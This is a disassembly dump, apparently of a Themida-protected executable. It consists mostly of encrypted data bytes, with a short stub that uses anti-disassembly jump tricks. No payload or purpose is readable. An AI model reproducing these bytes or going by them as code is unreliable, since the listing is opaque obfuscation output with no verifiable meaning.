; A db 43h ; C db 0C4h ; Ä db 0B4h ; ´ db 0C5h ; Å db 8Eh ; Ž db 4Eh ; N db 0FAh ; ú db 0BEh ; ¾ db 7Ah ; z db 4Ch ; L db 67h ; g db 7 db 9Fh ; Ÿ db 0A8h ; ¨ db 8Fh ; db 1Eh db 82h ; ‚ db 84h ; „ db 0F9h ; ù db 41h ; A db 5Eh ; ^ db 0B5h ; µ db 7Ah ; z db 4Bh ; K db 72h ; r db 0D0h ; Ð db 7Ch ; | db 4Bh ; K db 0FBh ; û db 6Eh ; n db 7Ch ; | db 44h ; D db 72h ; r db 0B5h ; µ db 8Dh ; db 0D9h ; Ù db 0C8h ; È db 0F8h ; ø db 43h ; C db 0FAh ; ú db 0C5h ; Å db 43h ; C db 3Ah ; : db 73h ; s db 8Dh ; db 13h db 6Dh ; m db 56h ; V db 66h ; f db 45h ; E db 16h db 44h ; D db 27h ; ' db 49h ; I db 7Fh ; db 44h ; D db 72h ; r db 0D0h ; Ð db 5Ch ; \ db 19h db 0B1h ; ± db 35h ; 5 db 0F5h ; õ db 28h ; ( db 56h ; V db 30h ; 0 db 0FDh ; ý db 0 db 56h ; V db 1Eh db 67h ; g db 44h ; D db 72h ; r db 0Dh db 39h ; 9 dd 0E57EB111h, 65714011h, 0F7C76A79h, 1955FBB4h, 946E664Eh dd 7C347241h, 0E63B061Ch, 198F94Ah, 22806656h, 7A0AF7CFh dd 0E12C7450h, 7AC7C932h, 0F16931CDh, 681DFBF9h, 2CAFFF42h dd 0C50B65FFh, 7C867277h, 4FA8D6B7h, 7CA172FCh, 8107944h dd 7C70B047h, 701036CFh, 7C1A9A17h, 0FD567244h, 7C866587h dd 581FFB44h, 58E5FB54h, 4B682950h, 8368C3BEh, 5870F9A4h dd 73FA8D40h, 7C0D7CC8h, 0F10D1244h, 7A5773F1h, 50E8E7CDh dd 1CB17450h, 7C6EFB4Bh, 0C13F7244h, 7A0E6BDDh, 0FC6C8BCFh dd 0F1E7D38Dh, 6BE49CF9h, 0BB2CFF42h, 0C4D665FFh, 0E44ED971h dd 7BCDF777h, 0B3317450h, 2E1C9B85h, 47943B72h, 647C3472h dd 0CD27D929h, 0C578292Eh, 5C78A236h, 837C4372h, 0A4F305E9h dd 0BD03D98Bh, 614296Dh, 41F28166h, 70E925h, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 0E9EBEAC3h, 0Bh, 8AD06816h, 0C5615E6Dh, 6144C325h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0A3C35747h, 4CCFFAD7h dd 890FBFCEh, 13h, 0EE9h, 43A5E300h, 4F6DF597h, 6DBE944Bh dd 60AC290Ah, 0C361C28Bh, 0C08B6160h, 0C9816660h, 0E9612F3Ch dd 6, 0BBC16901h, 0BD83EACDh, 61410F1h, 83097500h, 140E25BDh dd 19740006h, 0C08B5350h, 4B9B8h, 0F1858900h, 8D061424h dd 16A7B99Dh, 5BD3FF06h, 25BD8358h, 6140Eh, 53501774h dd 4B9B8h, 0F1858900h, 8D061424h, 16A45A9Dh, 5BD3FF06h dd 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 15820F69h, 60000000h, 0E8DAB70Fh, 0Ah, 812A595Eh dd 0BCE59ACEh, 6158F171h, 0C7CD8060h, 0CED5BE66h, 53006A61h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 8BA45B3Dh, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 9E94Bh, 0D42E0000h, 32BF8A0Ah, 402904E4h dd 6E9C18Bh, 0E6000000h, 0C0802570h, 4EBBCh, 89000000h dd 14081585h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 413F4D39h, 0BD0B9060h, 6140025h dd 0C25BD89h, 858D0614h, 6140791h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 39C35343h, 58B39B1Bh, 0F279621h dd 0FA8BFBBFh, 5D14E681h, 0F505CD2h, 587h, 0ABA4BE00h dd 4890ACCh, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 8164669Bh, 0A08D88D7h, 6A006A1Dh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 328CC356h, 0B54274E3h, 9BF2C42h, 14165585h dd 0F9006A06h, 1CCD8529h, 858D0614h, 617BEE7h, 6A05C083h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0D25EC355h, 1E6734CFh, 11BD895Ch, 66061423h dd 8950F78Bh, 81662404h, 6A9BB6C6h, 0FACF8100h, 6A547589h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 52B6CE25h, 66DA8EE9h, 0FFEFD2BEh, 141B1995h dd 8DB58B06h, 66061409h, 0AF20E681h, 0A7789D8Dh, 0BD8B0617h dd 6142A91h, 0B58BD3FFh, 6141279h, 2DED85FFh, 6A0614h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 0E90C94C3h, 6ECh, 0E8h, 0ED815D00h, 617BEF1h, 3E5B58Bh dd 0BD810614h, 6142C05h, 7D0h, 1A8860Fh, 0F4BE0000h, 8B773CEDh dd 1431259Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 3E60AFD9h, 7B966D32h, 0DE9h, 0BC231700h dd 8B320497h, 39DCFB1h, 0E381D676h, 100h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Ch, 0C8C35242h, 0CD644B7Fh dd 660A08EDh, 8E9h, 0E664CE00h, 0DA6AB3EDh, 5860F10h, 0BF000000h dd 18BBBDF1h, 850FDB0Bh, 0BAh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 52C35545h, 0F048BF32h, 0BD831C93h dd 617BD5Fh, 4C840F00h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 30BCC356h dd 66895B90h, 315F681h, 71E9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 1EEF287Ch dd 0C7E9A854h, 17BD5F85h, 106h, 63F78100h, 502758DBh, 4BDB589h dd 0E95F0614h, 32h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 0BBC35747h, 606541EAh, 85C75A54h, 617BD5Fh dd 0 ; --------------------------------------------------------------------------- mov esi, [ebp+61425CDh] lea ebx, [ebp+6143125h] push 0 push ebx call sub_5B9C0F and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B9C0F proc near ; CODE XREF: Themida_:005B9C07p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_5B9C0F endp ; --------------------------------------------------------------------------- db 0B8h dd 0DF81C0A1h, 6AA9AF06h, 0FEFF2381h, 6AFFFFh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 6DC4F5C3h, 24E99589h, 8C660614h, 4C3F6DBh, 3F840Fh dd 85890000h, 6141529h, 121195FFh, 9D890614h, 6142A8Dh dd 0E8BEBF90h, 8B5062B5h, 6A90F7h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 8B1432C3h, 140015BDh dd 389E906h, 81660000h, 0BEBD53CEh, 5BC32Eh, 6A00B0h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 8B6661C3h, 0E6F38BFAh, 57006A70h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0AFE78130h dd 0E4687554h, 4BBF6671h, 0D8B60FF3h, 6BAh, 0DB52B00h dd 8B061416h, 4E8C1C3h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 0F3C35040h, 4CAC48AEh, 3351DA35h, 0F9E2F766h dd 6AD82Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 6C50C3C3h, 0FE80Dh, 6DA90000h, 0A6ECA9BBh dd 0DB6A3ADEh, 64323F68h, 935EF54Ah, 33B1BF66h, 0E9609350h dd 12h, 0E248B4B9h, 2FE3DBC3h, 5870A39Dh, 5B62D9B4h, 0BD01CA33h dd 61406C1h, 5B5FF61h, 6A06142Ch, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 7EF0C351h dd 260DB589h, 0BF660614h, 95FF1CF8h, 6142971h, 6A00B0h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0E6899BC3h, 71E4F570h, 701BD8Bh, 0CE80614h, 10000000h dd 1CAABD99h, 0FA85CFA9h, 8BBC3D95h, 14180DB5h, 613C5E06h dd 21D830Fh, 0B60F0000h, 0CE960D8h, 67000000h, 57D1D48Bh dd 1B5FBDAh, 89AFC115h, 1416EDBDh, 8D896106h, 6140711h dd 6BAh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 2EBF66F4h, 6AC38B22h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 22F5C355h dd 5D73BDB8h, 8B9F4827h, 1400B9B5h, 19B58B06h, 0C1061411h dd 0B58B04E8h, 6141235h, 6AE2F766h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0D660C352h dd 18B1B58Bh, 0D82B0614h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 9AC35040h, 0EE986h, 7FCB0000h, 0F7C22014h dd 4033D997h, 0AD6BDA67h, 0A9950158h, 2B06142Dh, 34880FD8h dd 6A000001h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 4152C353h, 0F2B70F3Dh, 7B9h, 59BD8B00h dd 83061410h, 0BD8900C1h, 614064Dh, 860FD93Bh, 0F7h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 2AC35141h, 7E8589Ch dd 4D000000h, 4E2CE3EAh, 880F0BE8h, 6, 2D99B58Bh, 665F0614h dd 8B66EABFh, 0D98C66FAh, 8E9h, 5D13B000h, 0DA0D2587h dd 4C1F6F9h, 7A840Fh, 5F570000h, 121195FFh, 51600614h dd 5BC3B70Fh, 2D21BD89h, 5B610614h, 110DB58Bh, 0BF0F0614h dd 66C32BF0h, 3D2219BEh, 834h, 4A860Fh, 14E90000h, 0EC000000h dd 9E38DF3Ch, 1D66E2FDh, 0B8E4F603h, 5596AF9Fh, 0E92E61D9h dd 53h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh dd 0CC35646h, 7F4C0E01h, 0F25392Fh, 8589FFB7h, 6140C41h dd 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 2D7C89C3h, 49958957h, 8B06141Ch, 6AD88BC3h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 457DC353h, 0A9858950h, 5F06141Ah, 10C585C7h dd 75350614h, 0BE9382Eh, 0E7000000h, 6A5A2D11h, 392BA5FBh dd 0C08BF129h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 95C35040h, 812A595Eh, 89E59ACEh, 1403F18Dh, 11BD2906h dd 81061408h, 142C05BDh, 7D006h, 58850F00h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 9B84C353h, 23384AAAh, 25B58B2Fh, 0FF061423h dd 142C0585h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 5EE79D8Bh, 0EF6E09FBh, 31BD89C4h dd 0FF061431h, 142C05B5h, 18B0F06h, 0FC000000h, 297195FFh dd 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 0B9D15EC3h, 0ED057B10h, 896D8F10h, 141391BDh dd 78B89006h, 89123456h, 140CC5BDh, 0AA9D8D06h, 0E90617C5h dd 0FFFFF92Ch, 0FE9h, 0A6754100h, 0FFD74EB5h, 5000BE51h dd 67039C63h, 257CBE66h, 78BFC18Bh, 0EB48AF34h, 4, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 4181C7AAh, 8BB95A52h, 0F08B66B6h, 0E9FB8B66h, 8, 10865A51h dd 183E06EEh, 791858Dh, 95890614h, 61420C5h, 0E8525050h dd 7, 86857365h, 0E8820309h, 10h, 6E317B9Ch, 0A4D530A7h dd 0E87E2E3Eh, 9B81A15Bh, 310F5F5Fh, 28F0Fh, 61600000h dd 489585Ah, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 6AD241h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 30C35040h, 66006A6Bh, 8B02EE81h dd 0C798858Dh, 6A0617h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 660CCDC3h, 833A03BEh, 6A05C0h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 6C1BCCC3h, 0CA87DC2Eh, 72F78166h, 525050DCh, 38F0Fh dd 8B660000h, 66310FF7h, 5A1518BEh, 24048958h, 880Fh, 8D890000h dd 61430E1h, 9D89006Ah, 614261Dh, 5E9006Ah, 5F000000h dd 0DAA4B1DEh, 1B1995FFh, 8DF50614h, 17A7789Dh, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 0EBAA02F8h, 0FEF781E3h, 0FF370A6Dh, 50006AD3h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0ACEDE973h, 2DED85FFh, 11E90614h, 0F6000000h, 0D8FB03Fh dd 58F1A3ACh, 737E5B7Fh, 0B5D6F54h, 0E52E9h, 0E800h, 815D0000h dd 17C7A2EDh, 8DBD2906h, 81061411h, 142C05BDh, 7D006h dd 87860F00h, 8B000001h, 699D8BFEh, 6A06141Ch, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 5508C353h, 7F594DDBh, 0E38192h, 6A000001h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 44D2C351h, 9F5A3026h, 6A0D3511h, 1B21B529h, 0DB0B0614h dd 0AF850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 0C33C5C3h, 0CABA60CBh, 837B3BE6h dd 17C5E1BDh, 840F0006h, 2Ch, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 0F2C35545h, 0D8E4163Ah, 6BE9ABh dd 95310000h, 6141005h, 0C5E185C7h dd 10617h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 911706C3h, 37E9AFh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 66EC69C3h, 0BD0394BEh, 0E185C72Ah, 617C5h, 66000000h dd 295540BEh, 1422E58Dh, 699D8D06h, 6A06141Ch, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 0ECC351h, 0EE9h, 0EAC6EC00h, 5984722Eh, 85F4CBE0h, 81FFA1B1h dd 0FFFEFF23h, 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 2B92B315h, 50B8DFBCh dd 8C665F51h, 57006ADBh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 0F87AC333h, 0F04C3F6h, 5484h, 8E900h dd 0FEA80000h, 8CC32D70h, 95FFD985h, 6141211h, 92BC71BEh dd 0EE95024h, 5000000h, 42612573h, 5E48E020h, 0C82EE016h dd 2404897Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 0BAC35646h, 89E48BD7h, 1400F185h, 3E5E906h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 0BB0163C3h, 1585200Dh, 0B0A520EDh, 6A70E600h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 0E40EC356h, 0CE8h, 0B64ED200h, 7F73D7D2h, 0B660770Ch dd 0FE8CCh, 498B0000h, 587F5FB7h, 0D5D099CDh, 3CCDCDC4h dd 3995012Eh, 5E06140Fh, 8B71E45Fh, 141E19B5h, 0D8B60F06h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 69C35545h dd 6E68B499h, 726ABB18h, 844FBE88h, 6BA5FF0h, 81000000h dd 608C00E7h, 0A8B0F57h, 0E9000000h, 5, 8DA72BCh, 0F9C38BA1h dd 6A04E8C1h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 0FB29C351h, 9D2C6832h, 19ADCCD2h dd 2BE2F766h, 0B58B60D8h, 6140D49h, 0BF669361h, 5050AFC9h dd 0F310F52h, 282h, 5AF78B00h, 6A9358h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 9A100C3h dd 14315585h, 7CBF6606h, 5B5FFD4h, 0F06142Ch, 683h, 0FDB58900h dd 0FF061407h, 14297195h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0E8788852h dd 0B5296D85h, 6142A85h, 0B58B00B0h, 6140075h, 0EBC6BE66h dd 6A70E6h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 0DE8130C3h, 755665DDh, 6A71E4h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 708398C3h dd 0DE9D8078h, 0BF0FC9E7h, 0F613CF8h, 20E83h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 8EE6F70Bh, 81663A59h, 0F1B69D6h, 6AD8B6h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 95894EC3h dd 6BACAh, 0CE90000h, 37000000h, 358DD79Ch, 81403D91h dd 8B3D7404h, 50006AC3h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1904h, 0C3504000h, 96B0301Ch, 0E8C19F60h, 57006A04h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 7EB79247h, 1BF07AB7h, 0AFEE8166h, 0E2F76660h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 82C35141h, 29EF095Ah dd 0FD2BD91Fh, 9E960h, 0E6150000h, 0D257193Ch, 66D2B64Eh dd 615682BFh, 8B66D82Bh, 6A58FCFAh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 2B8AC350h dd 0FC880FD8h, 8B000000h, 142B71BDh, 7B906h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0D9C2FAC3h, 1E2319B0h, 0BD89BEA0h, 61409A1h, 6A00C183h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 2D91C356h, 8D8999DAh, 6141F91h, 860FD93Bh dd 97h, 20C58589h, 9D290614h, 6140CA9h, 8BD98C66h, 143435B5h dd 4C1F606h, 75840Fh, 0D1BF0000h, 0FF683F63h, 14121195h dd 85895B06h, 614005Dh, 6AC32Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 7068B6C3h, 0DDFF7357h dd 0E68113ACh, 146C9134h, 8343Dh, 2C860F00h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 0FD8C357h, 88h, 9E900h, 69BF0000h, 8B49E305h dd 8B5E57C0h, 6AD88BC3h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 0E9A9C353h, 0Bh, 34418B22h dd 53B26601h, 8B78DF7Ch, 141C01B5h, 2585C706h, 9D061431h dd 297B9A01h, 14231D9Dh, 81C08B06h, 142C05BDh, 7D006h dd 4E850F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 85D5C353h, 17A2E588h dd 5A4BF58Dh, 585FFF9h, 6A06142Ch, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 8BA3C350h dd 140E61B5h, 5B5FF06h, 6606142Ch, 2713D781h, 297195FFh dd 0BF660614h, 4090CDA5h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 6C35242h, 858996F4h, 6141229h, 36DBD83h dd 0F000614h, 0E584h, 0FFB70F00h, 2FE5BD83h, 0F000614h dd 0D584h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 823E300Ah, 7A7B8F0Eh, 0BE9FCh, 60920000h dd 8334FBFBh, 62BCA0ECh, 6D95FF60h, 60061403h, 2E519D8Bh dd 0EE80614h, 0B6000000h, 0B579440Bh, 0ADCEAA37h, 7592CD73h dd 759D8B29h, 5F06140Ch, 0FC00B61h, 7184h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 0AA0CE4BAh, 880B1AB5h, 0F59D89BBh, 2906140Fh, 142D5D9Dh dd 0FF8D8D06h, 6A06144Dh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 0DD4C355h, 0AE9h, 0ED34CD00h dd 0AE4AB809h, 0B87212C1h, 5, 89E1FFF5h, 140B49B5h, 0BD83F506h dd 6140411h, 2E840F00h, 6A000006h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 4350C352h dd 8388F490h, 142FE5BDh, 840F0006h, 601h, 70CF8166h, 498D8D08h dd 0F061431h, 1C7FBBFh, 44B27C84h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 0F4C35545h, 76276B84h, 3121BD03h dd 1810614h, 1499CFCBh, 2D6DBD01h, 41C70614h, 706B3404h dd 53006ACEh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 0A6D7AF86h, 8F0Fh, 41810000h, 0D6D71004h dd 52006A31h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 0E81B585Dh, 8B006A4Eh, 140B9DBDh, 3810F06h dd 0F000000h, 858DF6B7h, 6143149h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch dd 2EC35646h, 8D28BA4Eh, 4AD57650h, 3DB58960h, 0E806142Ah dd 0Fh, 451232F5h, 98F245A6h, 0E6C3BF61h, 0E8F28DC2h, 11h dd 8B604221h, 79F9810Fh, 0CE22BB10h, 0AD5CE6B5h, 615A5B69h dd 3EBE6650h, 240489A3h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 0A3C35242h, 0F7817139h, 63971237h, 41195FFh dd 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 0CBFFF1C3h, 98DB58Bh, 8D8D0614h, 6143149h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0D9C35343h dd 44667B1Bh, 520B74EAh, 7E82Ch, 43BE0000h, 0C2C37BA6h dd 3880F88h, 66000000h, 0C75EF08Bh, 1, 0F9BD8B00h, 0C7061400h dd 441h, 13E80000h, 0CA000000h, 8BF40132h, 5117C6A3h, 5ACEF06h dd 0B9769CC8h, 14E9327Fh, 0C1000000h, 0C8219241h, 42EC0518h dd 0BC1AEC7Dh, 0DAA80F3Ch, 5F2D2356h, 840FC00Bh, 48h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0C8C35545h, 4DE4415Bh dd 0BF66AE3Ch, 8D8DB2AAh, 6144DFFh, 0B8F8F98Bh, 5, 6860Fh dd 0DF810000h, 595C1777h, 9529E1FFh, 6141FC5h, 31498D8Dh dd 6A0614h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 60A82DC3h, 8589D38Bh, 6142B21h, 7C01C761h dd 6A44AA72h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 8195C353h, 99CFCB01h, 68F0F14h dd 89000000h, 1415C59Dh, 441C706h, 0CE78753Ch, 189EBF66h dd 10044181h, 6631D6D7h, 611CEF81h, 0BF0F006Ah, 49858DF8h dd 50061431h, 5F5F5257h, 6A240489h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 9C9C352h dd 0FF89AD7Ch, 14041195h, 498D8D06h, 0F061431h, 68Bh, 49BD8B00h dd 0FC06140Fh, 1C7h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 85B336C3h, 0AA2891C6h dd 0BD0B1E59h, 61416BDh, 441C7h, 8B000000h, 0FC00BFBh dd 7E84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 0FF88BACh, 8D8DF1B7h, 6144DFFh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 96C35242h, 1681A2B7h dd 0AC74BF71h, 5B801AFh, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0F360C355h dd 2D9CF564h, 1FBE6677h, 0F1BF0FD2h, 8DFCE1FFh, 1431498Dh dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 830FD1B0h, 0Dh, 8E9h, 0B4EBE500h, 97597542h dd 0A501C7BBh, 8954CA95h, 140A89BDh, 68D0F06h, 8B000000h dd 141689BDh, 0CB018106h, 8B1499CFh, 14106DBDh, 441C706h dd 0CE5F5969h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 0E2C35242h, 0B52B0D03h, 6140BC9h, 10044181h, 0E931D6D7h dd 11h, 1B1F9B37h, 3A779671h, 0EF2378D9h, 10042D63h, 31006A1Ch dd 140ED585h, 0F58D2906h, 8D061407h, 14314985h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 15EEF1A1h, 95895353h, 61425CDh, 50905E5Eh, 0F5E5652h dd 11E931h, 6160000h, 287E6E96h, 4961BA91h, 1024C83Dh dd 5A0755FCh, 9E85058h, 5D000000h, 4C35F612h, 0D2D8D54Ch dd 6890Fh, 850F0000h, 0 dd 8B60905Eh, 142E1985h, 0BB666006h, 5F56BE22h, 95FF6161h dd 6140411h, 0FE860h, 0AC7E0000h, 8532062Ah, 0F24A046Fh dd 86A94557h, 0EC14BF25h, 605F2CD5h, 840Fh, 0BF0F0000h dd 8D6161FEh, 1431498Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 82030986h, 67BC13E1h dd 0BB7FEDBFh, 0F1B58B16h, 0C7061418h, 1, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 64C94740h, 1A2F4A9Bh, 0F8BEC681h, 41C763CBh, 4, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 8962C745h, 0CD1A7F11h, 0BFE8B66h, 5A840FC0h, 81000000h dd 7D12D6C7h, 0FF8D8D62h, 0E906144Dh, 5, 29C7C2D0h, 5B867h dd 830F0000h, 6, 0BF5BD89h, 0E1FF0614h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Dh, 62C35040h, 0F25E4C3Fh dd 0B72F9D03h, 0D4D681F5h, 814CBCB6h, 6E4533CEh, 0E9CA037Dh dd 0FFFFF1D9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 94C35141h, 8BF4541Ah, 141A6DB5h, 0AD8D2906h, 8B061401h dd 0C18529C1h, 0EB061400h, 4, 0B5895000h, 6142E85h, 50006A5Eh dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0AA6988h, 0F79F508Ch, 858DE34Ah, 6140791h, 33E5B589h dd 66500614h, 8934E3BEh, 0BD092404h, 6142E35h, 0BF0F006Ah dd 6A006AF9h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 7DA9C350h, 4D7E0D01h, 7E83Eh dd 2C540000h, 7C45D0E9h, 858D5F49h, 617D774h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 69C35646h, 158A6860h dd 0BF6601BCh, 0C08360FAh, 0FE8B5205h, 5E51505Eh, 6A240489h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 5F7AC356h, 7FA31218h, 758589FCh, 89061416h dd 141E958Dh, 6A006A06h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 9423C352h, 1317C8B6h dd 8B66006Ah, 598509F8h, 0FF061429h, 141B1995h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 5613F33Dh, 19BF662Ah, 9DB52B53h, 8D06140Bh, 17A7789Dh dd 